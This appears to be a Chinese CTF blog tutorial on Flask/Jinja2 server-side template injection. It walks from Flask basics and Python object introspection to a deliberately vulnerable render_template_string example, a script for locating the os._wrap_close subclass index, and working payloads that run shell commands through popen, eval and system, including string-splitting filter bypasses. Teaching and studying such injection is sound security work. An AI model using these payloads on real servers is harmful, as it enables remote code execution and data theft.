【Python】Flask模板注入从0到1

一、什么是Flask:

flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务,详细请见flask官网

二、flask搭建网站样例:

源码如下:

from flask import Flask
from flask import jsonify
from flask import request
app = Flask(__name__)
@app.route('/')
def hello():
    return 'I love CTF!'
@app.route('/value',methods=['GET', 'POST'])
def value():
    if request.method == "GET":
        return 'key='+str(request.args.get('key'))
else:
    return "error: 请分别以 GET 和 POST 提交参数"
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True) # 以调试模式启动,host=0.0.0.0 ,则可以使用127.0.0.1、localhost以及本机ip来访问

源码讲解:

app.route(rule, options) 此函数代表路由,将路径与接下来的函数绑定

rule : 要绑定的URL路径
options: 是要转发给基础Rule对象的参数列表,可以为get或post方法

在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出

app.run(host, port, debug, options) 此函数用于网站启动配置

 host:要监听的主机名。 默认为127.0.0.1(localhost)。设置为“0.0.0.0”以使服务器在外部可用
port :默认值为5000
debug:默认为false。 如果设置为true,则提供调试信息,可以自动重载代码并显示调试信息
options:要转发到底层的Werkzeug服务器

request.args.get('key')

获取 get表单的参数,这里是获得 key 的键值

获取表单值的函数还有
CET方式:
request.form.get("key", type=str, default=None) # 获取表单数据
request.args.get("key") # 获取get请求参数
request.values.get("key") # 获取所有参数
POST方式:
request.form.get('key')
request.form['key']

访问结果:

这里我们访问的路径是 /value 调用路由 @app.route('/value',methods=['GET', 'POST'])

并且GET传参key为“I love CTF !”,该路由下的函数会return key的值

三、模版注入预备知识:

记住这句话 “Python中一切皆对象”

一个字符串,一个函数,一个实例化的类等都可以被看做对象

1、对象的默认属性方法:

 __class__ //列出当前对象的所属的类
__bases__ //列出当前类所有直接父类,并以元组形式返回
__mro__ //列出解析方法调用类的顺序,包含祖先类
__subclasses__() //以返回类的子类的列表
Python中对象的属性和方法都可用 . 号访问

 例如:

class Animal:
    pass

class Dog(Animal):
    pass
a=Dog()
print(a.__class__)    
print(a.__class__.__bases__)
print(a.__class__.__mro__) 
print(a.__class__.__bases__[0].__subclasses__()) 

>>> <class '__main__.Dog'>  对象所属的类
>>> (<class '__main__.Animal'>,) 类的直接父类组成的元组   
>>> (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>) //类的调用过程中所有的类,包括祖先类
>>> [<class '__main__.Dog'>]  Animal类子类的列表

2、object类:

在Python中,object类是所有类的基类,也被称为顶层基类。它定义了一些通用的方法和属性,这些方法和属性可以被所有子类继承和使用。如果一个类没有指定自己的基类,那么默认就会继承自object类(也就是所任何类追溯到源头基类都是object类)

object类可调用python中任何原生的类,任何类都是它的子类

3、Jinja2模版引擎渲染:

什么是模版引擎请参考博主的这篇文章Smarty模版注入

Jinja2是flask框架自带的模版引擎

0x1:render_template 渲染:

前端:

前端人员只需用  {{}} 代替获取后端变量的代码即可,Jinja2模版引擎会自动渲染更新变量

<html>

<h1>{{title}}</h1>

<body>
<a>Hello, {{name}}!</a>
</body>
</html>

后端:

from flask import render_template
from flask import Flask
app = Flask(__name__)
@app.route('/') #我们访问/会跳转
def index():
    title="Flak框架测试" #传入标题
    user = "ELITE" #传入用户名
    return render_template("index.html",title=title,name=user)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)
  • 此函数会自动把我们传入或定义好的变量渲染到html文件中被{{}}标记的变量中
  • 该函数使用规定好的模板文件进行渲染,并不会产生注入
  • 需要将要渲染的html文件放入同目录下的templates文件夹

结果为:

0x2:render_template_string 渲染(SSTI有关函数):

后端:

from flask import render_template
from flask import render_template_string
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route('/test',methods=['GET'])
def test():
    template = '''
    <div class="center-content error">
    <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    </div> 
    ''' %(request.url)
    return render_template_string(template)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)

 该函数将渲染模版直接写入当前Python文件中,可通过render_template_string函数造成模板注入

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,注入正是因此引起

结果为:

四、注入讲解(os._wrap_close 类为例):

我们可以根据上文的 __class__,__mro__,__bases__等默认属性,调用出object类的,并使用__subclasses__()方法(返回值为该环境下所有类的列表),我们可以从中选择含有可以用方法的类,然后调用,传入payload

1、获取该类在当前环境的数组下标

脚本为:

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'url/?变量={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

2、构造payload

这里os._wrap_close 类的数组下标为 132

payload为:

1、查看类中的可利用方法

 {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

2、利用popen()方法

 {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

payload讲解:

__class__.__bases__[0] 代表object基类

__subclasses__()[132]  代表object子类集合中的第132个类(os._wrap_close)

__init__  初始化os._wrap_close类

__globals__ 返回os._wrap_close类中所有的方法及属性

__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令

read()  读取输出命令执行结果

3、一些常用的绕过姿势:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )}}

{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
©2023 By Elite

冀公网安备 13108202000889号

| 鲁ICP备2023011162号

声明:本站中用到的所有图片图标,均来源网络,如有侵权请及时联系删除
Theme Argon